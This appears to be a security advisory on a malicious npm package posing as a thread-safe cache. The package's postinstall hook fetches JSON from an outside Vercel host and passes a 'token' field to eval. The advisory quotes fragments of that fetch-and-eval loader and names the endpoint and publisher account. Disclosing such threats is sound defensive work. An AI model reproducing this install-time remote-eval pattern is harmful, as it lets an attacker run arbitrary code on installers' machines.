GCVE-110-OSM-2026-11138

This package implements a classic remote-code-execution loader: on install (via postinstall hook), index.js fetches https://galaxy-main.vercel.app/, extracts a `token` field from the JSON response, and passes it directly to `eval(token)`. This is a textbook stage-1 dropper — the attacker controls the Vercel endpoint and can serve arbitrary JavaScript to every machine that installs the package. The description ('high-performance thread-safe cache') is a cover story with zero functional implementation. The publisher account ('davidmuchel', gmail address) is brand-new with a single package and no repository, consistent with a throwaway attacker account. There is no legitimate explanation for fetching remote content and eval-ing it on install. ENTRY index.js (install-hook: node index.js) - Install Hook Executes Local JS File in package.json DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Fetch and Eval/Exec in index.js: "fetch("https://galaxy-main.vercel.app/"); const { token } = await res.json(); ev..." - Network Request in index.js: "fetch("https:" ADDITIONAL FINDINGS - Dynamic Code Execution in index.js: "eval(token)" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js